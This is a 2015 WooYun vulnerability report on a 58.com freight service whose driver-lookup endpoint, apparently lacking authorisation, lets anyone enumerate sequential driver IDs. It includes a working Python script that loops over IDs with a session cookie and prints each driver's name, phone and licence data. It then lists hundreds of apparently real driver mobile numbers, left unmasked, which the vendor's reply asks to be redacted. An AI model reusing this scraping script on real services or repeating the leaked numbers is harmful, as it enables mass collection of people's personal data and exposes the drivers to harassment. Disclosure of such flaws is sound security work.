乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-06: 细节已通知厂商并且等待厂商处理中 2015-09-06: 厂商已经确认,细节仅向厂商公开 2015-09-16: 细节向核心白帽子及相关领域专家公开 2015-09-26: 细节向普通白帽子公开 2015-10-06: 细节向实习白帽子公开 2015-10-21: 细节向公众公开
58某新业务(非主站)设计缺陷导致泄露所有司机详细信息(附验证脚本)非恶意刷洞/望各位小伙伴理解
58到家速运在查看订单时发现了如下请求:
去掉一些不必要的干扰部分:
遍历司机编号:诸多详细信息
写个脚本:
附脚本:
#!/usr/bin/python#coding:utf-8import urllib#!/usr/bin/python#!coding:utf-8import urllib2import jsonimport sysreload(sys)sys.setdefaultencoding('utf8')post_url = 'http://58suyun.58.com/pc/suyun/searchDriver'post_host = '58suyun.58.com'headers = {"Content-type": "application/x-www-form-urlencoded", 'Accept-Language':'zh-CN,zh;q=0.8', 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 4.3; zh-cn; A0001 Build/JLS36C) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025440 Mobile Safari/533.1 MicroMessenger/6.2.4.49_r8d971a2.600 NetType/WIFI Language/zh_CN', "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "close", "Cache-Control": "no-cache", 'X-Requested-With': 'XMLHttpRequest', 'Cookie':'id58=05dzXFXBjdOqrQIwCqaoAg==; new_uv=1; useridsession=VI7rbh0zlNGKifs3m+6iGymhXdYjv/pS; usermobile="4xPU1YxWZ/xl7mGKTMmEkw=="; Hm_lvt_2c6210cd91ce6bf5a92cf5d65e1a25fc=1441528038,1441528196; Hm_lpvt_2c6210cd91ce6bf5a92cf5d65e1a25fc=1441530431'} driverId = 40000000049623 #40000000049623# userFIle = open('/root/Desktop/zutc_userInfo','w+')while driverId in range(40000000000000,40000000100000): try: post_data = {} post_data['driverId'] = driverId # print 'driverId:%d' %(driverId) post_data = urllib.urlencode(post_data) http_request = urllib2.Request(post_url,post_data,headers=headers) http_response = urllib2.urlopen(http_request) # print http_response http_response = json.load(http_response) if http_response['code'] == 0: SuYun_driverInfo = '司机姓名:' + http_response['data']['name'] + '||司机电话:' + http_response['data']['mobile'] + '||司机驾驶证:' + http_response['data']['lpnum'] print SuYun_driverInfo driverId += 1 except: pass
附部分数据:<请打码>
*****^电话:13828579345|**********^:17701987245||^**********^:18695832969||^**********^:13103710851||^**********^:13598084863||^**********^13949002582||司^**********^:15038178499||^**********^15810320057||司^**********^:15515531587||^**********^:15975341717||^**********^:13676901381||^**********^:13014687366||^**********^:15814589934||^**********^:15093303748||^**********^:15238601750||^**********^:13662266506||^**********^:18022877765||^**********^18565111647||司^**********^15019019099||司^**********^:18650304614||^**********^:13699730011||^**********^:13725125355||^**********^:13560013595||^**********^:18664421290||^**********^:13642302632||^**********^:13600000944||^**********^:13710878937||^**********^:13928722693||^**********^:13711680916||^**********^:13826024658||^**********^:15920894739||^**********^18675963451||司^**********^:18688878215||^**********^:18589017435||^**********^:15088062708||^**********^:13302387919||^**********^:13202030103||^**********^:13533531544||^**********^:15768282662||^**********^:18148929003||^**********^:13763321068||^**********^:18122376722||^**********^13726780587||司^**********^:13719151567||^**********^:15697352627||^**********^:18177527103||^**********^:15011775874||^**********^:13719205811||^**********^:18888954268||^**********^:18666529378||^**********^:13082855047||^**********^:15914485509||^**********^:13527692862||^**********^:18358102092||^**********^:13682203797||^**********^:13788977796||^**********^:15502149125||^**********^13671796748||司^**********^:13122585355||^**********^:18022248758||^**********^:13336482755||^**********^:13202871992||^**********^:18817690751||^**********^:18086312888||^**********^:13818253038||^**********^:13651871045||^**********^:13041659329||^**********^:13795450368||^**********^13817791521||司^**********^:13127805788||^**********^:15121117989||^**********^:13262666708||^**********^:13564507431||^**********^:18616758395||^**********^:13818506601||^**********^:13122118729||^**********^:15000343829||^**********^:13816645269||^**********^:13661682942||^**********^^13122578576||司^**********^:13817632596||^**********^:15800783161||^**********^:13817998709||^**********^:13402120690||^**********^:15216851815||^**********^:15921316883||^**********^:13611413044||^**********^13678927306||司^**********^13527605937||司^**********^:18620416987||^**********^:13924277212||^**********^:15627271890||^**********^:18818984119||^**********^:15626194117||^**********^:13527785907||^**********^:15813389700||^**********^:13122451282||^**********^13148926380||司^**********^18565370689||司^**********^:15220010698||^**********^:18588745289||^**********^13928986461||司^**********^:18620580918||^**********^:13582342022||^**********^:13560211768||^**********^:13076821757||^**********^:15088085310||^**********^:13434192262||^**********^:13428892860||^**********^:18666519856||^**********^:13798108585||^**********^:13825089203||^**********^:18633051093||^**********^:13560457862||^**********^:15302281236||^**********^:13560492487||^**********^:15360683162||^**********^:15200001958||^**********^:18032828494||^**********^:13731469469||^**********^:15200006591||^**********^:13660659165||^**********^:13570703815||^**********^:13829719262||^**********^13590219360||司^**********^:13538027279||^**********^15019468306||司^**********^15013609189||司^**********^:13380339802||^**********^:13602556072||^**********^13823698186||司^**********^:13689564389||^**********^:13715231859||^**********^:13554935932||^**********^:13714629059||^**********^:15999574938||^**********^:13266891108||^**********^:13544214234||^**********^:13480695225||^**********^:15768132048||^**********^:13509633334||^**********^:13337837199||^**********^18950385130||司^**********^:17751799736||^**********^:13718516468||^**********^:15998364209||^**********^13611328477||司^**********^13621161269||司^**********^:18910232507||^**********^:13434766429||^**********^18659171681||司^**********^:13501359283||^**********^:15062219456||^**********^18102291869||司^**********^:13824313615||^**********^13802437978||司^**********^:13533660437||^**********^:13610035190||^**********^:15659193710||^**********^:13674189059||^**********^:13851796130||^**********^:13640851371||^**********^18674774153||司^**********^:13697475095||^**********^:13652062529||^**********^:15112003212||^**********^17730031698||司^**********^:18028555079||^**********^:13236667372||^**********^13234135454||司^**********^:13752729098||^**********^^18028672281||司^**********^:13451837004||^**********^:13662012201||^**********^15929999074||司^**********^:13176652083||^**********^:13512297151||^**********^:18660432070||^**********^13522900282||司^**********^:15050562705||^**********^:13683093082||^**********^:18268627569||^**********^13261706393||司^**********^:15315316595||^**********^13581891854||司^**********^:18500593754||^**********^:18766155971||^**********^:13512911527||^**********^:15201043561||^**********^:18754167885||^**********^:13716145924||^**********^:13515317697||^**********^:13681267525||^**********^:13522235612||^**********^:13820065615||^**********^13505401677||司^**********^:13376657305||^**********^15098989782||司^**********^15322310751||司^**********^:15064038899||^**********^:13128230300||^**********^:13651207009||^**********^:13631472353||^**********^:15957868971||^**********^:13075338769||^**********^:18622091980||^**********^:13697433428||^**********^:15588851264||^**********^13951889685||司^**********^:13451819309||^**********^:18764138877||^**********^:15989268518||^**********^:17710653750||^**********^:13791067869||^**********^:13920027533||^**********^:15332096059||^**********^:18067525596||^**********^:13998145971||^**********^:13814021512||^**********^:18920028882||^**********^:15840505413||^**********^:18681948869||^**********^:13909833004||^**********^:15338093068||^**********^:13671665531||^**********^:13672431915||^**********^:13052096212||^**********^13760758537||司^**********^:13764306965||^**********^:13068663060||^**********^13560179060||司^**********^:15618183535||^**********^15840033706||司^**********^:13710858217||^**********^13570287980||司^**********^15618974028||司^**********^:15201868853||^**********^:18665415596||^**********^:13501695016||^**********^:13178848504||^**********^:15221774927||^**********^:17717012423||^**********^:15622195597||^**********^18512199875||司^**********^:13226626079||^**********^:18930308610||^**********^:15221419436||^**********^:13636438940||^**********^:13824486881||^**********^13482554857||司^**********^15840405756||司^**********^:13681998845||^**********^:15021879954||^**********^:15891719810||^**********^:13611612707||^**********^:18819487004||^**********^18036181602||司^**********^:13826106105||^**********^18840677232||司^**********^:18126917121||^**********^:18899721353||^**********^:17749727910||^**********^:13488590616||^**********^15986429970||司^**********^:17721277001||^**********^:15001760930||^**********^:13390128136||^**********^:13764112596||^**********^:18721179625||^**********^:15601780995||^**********^:13030012848||^**********^:13928745401||^**********^15821418002||司^**********^:15221696856||^**********^:18717817838||^**********^:13764998893||^**********^15802021712||司^**********^:13820439496||^**********^15821710639||司^**********^18221971538||司^**********^^13691274742||司^**********^:15618731489||^**********^17717386525||司^**********^:15045025060||^**********^:18022377489||^**********^15122733691||司^**********^13641979030||司^**********^:13693614733||^**********^:13366065946||^**********^:13922167239||^**********^:13770526164||^**********^:15625059904||^**********^15112592280||司^**********^:15920410101||^**********^:15000288616||^**********^:18810824552||^**********^:18014746643||^**********^:18301622324||^**********^:18948191802||^**********^:13126903001||^**********^:13621366717||^**********^:13823636929||^**********^:13693038909||^**********^:13051737778||^**********^:13714914091||^**********^:18910416791||^**********^13651469121||司^**********^:15776845230||^**********^:13439374396||^**********^:18680375515||^**********^:18210212695||^**********^15194101353||司^**********^:13671164556||^**********^:15522717913||^**********^:13520050428||^**********^:15169025518||^**********^:18204619986||^**********^18211560849||司^**********^:15895878187||^**********^:15117941607||^**********^:13220576175||^**********^:13916472037||^**********^:13271028098||^**********^:18202105580||^**********^:15001978628||^**********^15922286697||司^**********^:13512180922||^**********^18321728047||司^**********^:13632780775||^**********^:13522182165||^**********^18686896168||司^**********^:13652371805||^**********^:18810724990||^**********^:13366248166||^**********^:18318035105||^**********^15339116573||司^**********^:15210901157||^**********^:13901363924||^**********^:18588470358||^**********^:13675186606||^**********^18316628680||司^**********^:18911942003||^**********^:15101647390||^**********^:13714190586||^**********^:13480817151||^**********^18551627302||司^**********^:18910372515||^**********^:13936574692||^**********^:13913986353||^**********^:15210120081||^**********^:17710655141||^**********^:15888102150||^**********^:18201410292||^**********^13770625206||司^**********^:13699175520||^**********^18201120599||司^**********^:15371002006||^**********^:18100611500||^**********^:13681002289||^**********^:18610893110||^**********^:13207566816||^**********^13945100506||司^**********^:15005844995||^**********^:13260096474||^**********^:13701459861||^**********^:15889781658||^**********^15910520405||司^**********^18911438815||司^**********^:13510180661||^**********^:13704515255||^**********^13501294089||司^**********^13556898488||司^**********^:18346155985||^**********^:15201376335||^**********^:18322753306||^**********^:15013572641||^**********^13510954525||司^**********^:13418578815||^**********^:15958218692||^**********^:15914050673||^**********^:18033446328||^**********^13241831892||司^**********^:13391888260||^**********^:13661187536||^**********^:13716435847||^**********^:18301622060||^**********^:13428765963||^**********^:13682024295||^**********^:15013653630||^**********^:13911895313||^**********^:18204614482||^**********^17710281711||司^**********^:18911667284||^**********^:18701025939||^**********^:13787280023||^**********^18810463254||司^**********^:18670703346||^**********^:15210841880||^**********^18612817899||司^**********^:13632842661||^**********^13701222019||司^**********^:18664345075||^**********^:18520837106||^**********^:15111399836||^**********^:13811813813||^**********^:13240310883||^**********^:15616812422||^**********^:13590325890||^**********^:13910684269||^**********^:13683147269||^**********^:15919831512||^**********^:15822797191||^**********^:18795854272||^**********^:13661216990||^**********^:13671102695||^**********^:13693203562||^**********^:18501196858||^**********^:13655173630||^**********^:18910944188||^**********^:13302313489||^**********^13911751210||司^**********^:15994808731||^**********^:15210069834||^**********^:13489361727||^**********^:13590352593||^**********^:18810633878||^**********^:13537698093||^**********^:13520293039||^**********^:13718095010||^**********^:13611066198||^**********^:13691582568||^**********cod*****
危害等级:高
漏洞Rank:12
确认时间:2015-09-06 20:50
确认漏洞存在,感谢提交。麻烦把姓名、驾驶证、电话打码一下吧。漏洞公开之后这些信息别人是没办法修改的。
暂无